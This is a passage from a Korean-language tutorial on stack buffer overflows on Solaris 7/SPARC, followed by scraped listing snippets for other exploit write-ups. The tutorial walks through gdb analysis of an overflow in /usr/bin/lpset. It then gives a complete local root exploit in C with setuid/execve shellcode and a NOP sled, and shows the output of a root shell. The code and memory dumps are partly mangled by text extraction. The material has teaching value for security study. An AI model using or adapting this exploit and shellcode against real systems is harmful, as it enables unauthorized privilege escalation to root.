19 offset을찍을필요도없이한방에성공했다. main() 의 ret를보면 0xffbefa60이들어가있고 ( 실제 return address 는 0xffbefa68이될것이다.) 이곳은 nop이있는주소다. 내친김에이제실전익스플로잇에도전해보자. 현재테스트시스템인 Solaris 7의취약점을찾다가일본의 Shadowpenguin security group에서발표한 /usr/bin/lpset을찾았다. /usr/bin/lpset에는버퍼오버플로우취약점이존재하는데다음과같이할경우오버플로우가발생한다. [sun]lpset -n fns -a A=`perl -e 'print "A"x900'` blah write operation failed [sun]lpset -n fns -a A=`perl -e 'print "A"x1024'` blah Bus Error (core dumped) <- overflowed!! [sun]gdb -q /usr/bin/lpset core (no debugging symbols found)... ~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~ (no debugging symbols found)...done. #0 0xff in ns_printer_put () from /usr/lib/libprint.so.2 (gdb) bt #0 0xff in ns_printer_put () from /usr/lib/libprint.so.2 Cannot access memory at address 0x (gdb) i r ~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~~~~~~~ o0 0x o1 0xff38a87c o2 0x276f o3 0xff37865c o4 0x o5 0xff sp 0xffbef o7 0xff l0 0x l1 0x l2 0x l3 0x l4 0x l5 0x l6 0x l7 0x i0 0x i1 0x i2 0x i3 0x i4 0x i5 0x

20 fp 0x i7 0x ~~~~~~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~~ pc 0xff npc 0xff37726c ~~~~~~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~ (gdb) disas 0xff ~~~~~~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~ 0xff <ns_printer_put+76>: call %o1 0xff <ns_printer_put+80>: mov %i0, %o0 0xff <ns_printer_put+84>: ret 0xff37726c <ns_printer_put+88>: restore %g0, %o0, %o0 0xff <ns_printer_put+92>: mov -1, %i0 0xff <ns_printer_put+96>: ret 0xff <ns_printer_put+100>: restore End of assembler dump. call %o1 수행후그다음 instruction 인 ret/restore 에서뭔가잘못됐음을알수있다. (gdb) x/32x $sp 0xffbef738: 0x x x x xffbef748: 0x x x x xffbef758: 0x x x x xffbef768: 0x x x x <- %i7, 이곳을우리의쉘 코드주소로 overwrite해야한다. 0xffbef778: 0x x3e2f6465 0x762f6e75 0x6c6c2032 2바이트초과 0xffbef788: 0x3e x x0000ff00 0x000111cc 0xffbef798: 0x78666e5f 0x f 0x e 0x xffbef7a8: 0x xff31fa80 0xffbef7b8 0x000110c0 call %o1 의 stack 을한번살펴보자. (gdb) x/1000x $sp xffbef288: 0x x x x xffbef298: 0x x x x xffbef2a8: 0x x x x xffbef2b8: 0x x x x xffbef2c8: 0x7ffffbac 0xff338fb0 0xff338fa8 0x xffbef2d8: 0x x2200e3d0 0xff x00ff0000 sp 0xffbef2e8: 0x0000ff00 0x x x

21 0xffbef2f8: 0x xff38a87c 0x000276f8 0xff37865c 0xffbef308: 0x xff xffbef738 0xff %fp= 현재 %sp 0xffbef318: 0xfefc0454 0xffbef338 0x c 0xff38b840 0xffbef328: 0xff38b85c 0x000271b8 0x000276f8 0x000271b8 0xffbef338: 0x2f x2f62696e 0x2f666e63 0x 로컬변수시작주소 0xffbef348: 0x655f7072 0x696e7465 0x72202d73 0x xffbef358: 0x736f7267 0x756e6974 0x2f x xffbef368: 0x2f x6e x20626c61 0x xffbef378: 0x413d4141 0x x x 우리가덮어씌운변수의시작주소 ~~~~~~~~~~~~~~~~~~(snip)~~~~~~~~~~~~~~~~~~~~~~~ call %o1후 save instruction에의해예전 sp(0xffbef738) 를새 fp로바꿀것이다. 그러므로 0xffbef738값을갖는위 치가 %fp가들어가는주소이며위와같이 sp주소는 0xffbef2d8이고거기서부터차례로 64바이트 (%l*/%i*) + 24바 이트가들어간후로컬변수를위한공간이할당됨을추측할수있다. 추측이맞는지다시한번확인해보자. (gdb) x/10s 0xffbef338 0xffbef338: "/usr/bin/fncreate_printer -s thisorgunit/service/printer blah "A=", 'A' <repeats 134 times>... 0xffbef400: 'A' <repeats 200 times>... 0xffbef4c8: 'A' <repeats 200 times>... 0xffbef590: 'A' <repeats 200 times>... 0xffbef658: 'A' <repeats 200 times>... 0xffbef720: 'A' <repeats 90 times>, " " >/dev/null 2>&1" 0xffbef78c: " " 0xffbef790: "" 0xffbef791: "" 0xffbef792: " " 이제대충감이잡힌다. 0xffbef778-0xffbef378=400(1024) 바이트를 overwrite하면위의리턴어드레스-8 주소를갖고있는 %i7이있는주소까지를 overwrite할수있을것이다. 여기서한가지주의해야할게있는데 0xffbef338: "/usr/bin/fncreate_printer -s thisorgunit/service/printer blah "A=", 'A' <repeats 134 times>... 여기서보면우리가프린터이름으로준 'blah' 가오버플로우스트링으로준 AAAA... 보다앞에들어간다. 그러므로 blah대신에다른프린터이름을주면그만큼뒤로혹은앞으로밀리게되므로바꿔준프린터이름에맞게계산해줘야한다. 이제위의분석을토대로익스플로잇을만들어보자. [sun]cat lpset_exp.c #include <stdio.h> #include <stdlib.h>

22 #define BSIZE #define PRINTER "blah" char sh[]= /* 56bytes */ /* setuid(0); */ " x90 x1a x40 x09 x82 x10 x20 x17" " x91 xd0 x20 x08" /* execve() */ " x21 x0b xd8 x9a" /* sethi %hi(0x2f626800), %l0 */ " xa0 x14 x21 x6e" /* or %l0, 0x16e, %l0! 0x2f62696e */ " x23 x0b xdc xda" /* sethi %hi(0x2f736800), %l1 */ " x90 x23 xa0 x10" /* sub %sp, 16, %o0 */ " x92 x23 xa0 x08" /* sub %sp, 8, %o1 */ " x94 x1b x80 x0e" /* xor %sp, %sp, %o2 */ " xe0 x3b xbf xf0" /* std %l0, [%sp - 16] */ " xd0 x23 xbf xf8" /* st %o0, [%sp - 8] */ " xc0 x23 xbf xfc" /* st %g0, [%sp - 4] */ " x82 x10 x20 x3b" /* mov 59, %g1 59 = SYS_execve() */ " x91 xd0 x20 x08" /* ta 8 */ ; unsigned long get_sp(void) { asm ("mov %sp,%i0"); int main(int argc,char *argv[]) { int i; char buf[bsize]; unsigned long addr,sp,*ptr; unsigned long nop=0xaa1d4015; /* xor %l5,%l5,%l5 */ addr=sp=get_sp(); printf("stack Pointer: %lx n",sp); if(argv[1]) { addr+=strtoul(argv[1],(void *)0,16); printf("code location: %lx n",addr);

23 bzero(buf,bsize); for(i=0;i<bsize-strlen(sh)-9;i+=4) { memcpy(buf+i,&nop,4); memcpy(buf,"a=",2); memcpy((buf+bsize-strlen(sh)-9),sh,strlen(sh)); /* ptr은 %fp의주소를포인트 */ ptr=(unsigned long *)&(buf[bsize-9]); /* %fp에우리의 sp주소를넣는다 */ *ptr++=sp; /* %i7에 nop+shellcode의주소를넣는다 */ *ptr++=addr; buf[bsize]=' 0'; execle("/usr/bin/lpset","lpset","-n","fns","-a",(buf+strlen(printer)-4),printer,null); [sun]./lpset_exp usage:./lpset_exp <offset> <align> Stack Pointer: ffbef7c0 Code location: ffbef7c0 # id uid=0(root) gid=130(tyger) 멋지게성공했다. 참고로 Solaris 에선스택기반버퍼오버플로우를방지하기위한방법을제공하는데 /etc/system 에 set noexec_user_stack=1 과 set noexec_user_stack_log=1( 로그에기록 ) 을추가해주면된다.( 재부팅후에적용됨 ) ( 엄밀히말해선버퍼오버플로우자체를방지하는게아니라버퍼오버플로우가되더라도스택상에서쉘코드나기타코드가실행되지못하게하는것이다.) 하지만이걸우회하는방법이이미 horizon 이란사람에의해발표되었다. return into libc 기법을이용하는데관심있는사람은아래참고문헌중 Defeating Solaris/SPARC Non-Executable Stack Protection 글을참고하기바란다. 5. 결론 마지막으로 x86 linux 에서버퍼오버플로우익스플로잇을할때랑차이점에대해설명하고이글을마칠까한다.

24 - alignment 대부분의 CISC 프로세서가그렇듯이 x86에선정렬하지않고서메모리주소값을쓸수있다. 하지만대부분의 RISC 프로세서가그렇듯이 Sparc에선 4바이트 boundary에있지않은메모리주소를읽거나쓰거나 jump할수없다. 앞에서도보았듯이만약우리가 overwrite한리턴어드레스가 nop 4바이트의중간의주소라면어떻게될까생각해보면쉽게이해가갈것이다. 그러므로익스플로잇을만들시버퍼 (vulnerable 프로그램의버퍼가아닌우리의익스플로잇에서사용할버퍼 ) 의크기와 overwrite할리턴어드레스의크기도 4의배수여야하며익스플로잇버퍼내에서쉘코드의위치도 4바이트 boundary에위치해야함을주의해야한다. - return address의위치앞에서도살펴보았듯이리턴어드레스가들어가는 %i7의위치가스택상에서로컬변수보다상위에위치한다. 그러므로익스플로잇을위해선한함수이상을호출해야하며이호출된함수에서오버플로우를위한버퍼를가지고있어야한다. - pipeline Sparc은 pipeline을사용하므로 ret instruction이 %pc를바꾸기전에 restore instruction이실행된다. 그러므로 %fp에우리가쓸수없는메모리주소값을가지고있다면쉘코드가실행되기전에 segmentation fault가발생하고익스플로잇이실패하게된다. 6. 참고문헌 - Exploiting SPARC Buffer Overflow vulnerabilities - SPARC overflow Defeating Solaris/SPARC Non-Executable Stack Protection - The Sparc Architecture - SPARC Assembly Language Reference Manual - My HardDisk ( 어디서받았는지기억이안나네요.-_-)

25 ( 잡담 ) 워낙글재주가없다보니글이두서도없고장황하게된거같네요.^^ 이글에대한저작권같은건없습니다. 다만임의로수정후배포는하지말아주셨으면합니다. 서두에서도말했듯이잘못된부분이나추가할사항있으면메일주세요.

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Sena Technologies, Inc. HelloDevice Super 1.1.0

Sena Technologies, Inc. HelloDevice Super 1.1.0 HelloDevice Super 110 Copyright 1998-2005, All rights reserved HelloDevice 210 ()137-130 Tel: (02) 573-5422 Fax: (02) 573-7710 E-Mail: support@senacom Website: http://wwwsenacom Revision history Revision

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다.

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다. C 언어와 Assembly Language 을사용한 Programming 20011.9 경희대학교조원경 1. AVR Studio 에서사용하는 Assembler AVR Studio에서는 GCC Assembler와 AVR Assmbler를사용한다. A. GCC Assembler : GCC를사용하는경우 (WinAVR 등을사용하는경우 ) 사용할수있다. New Project

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

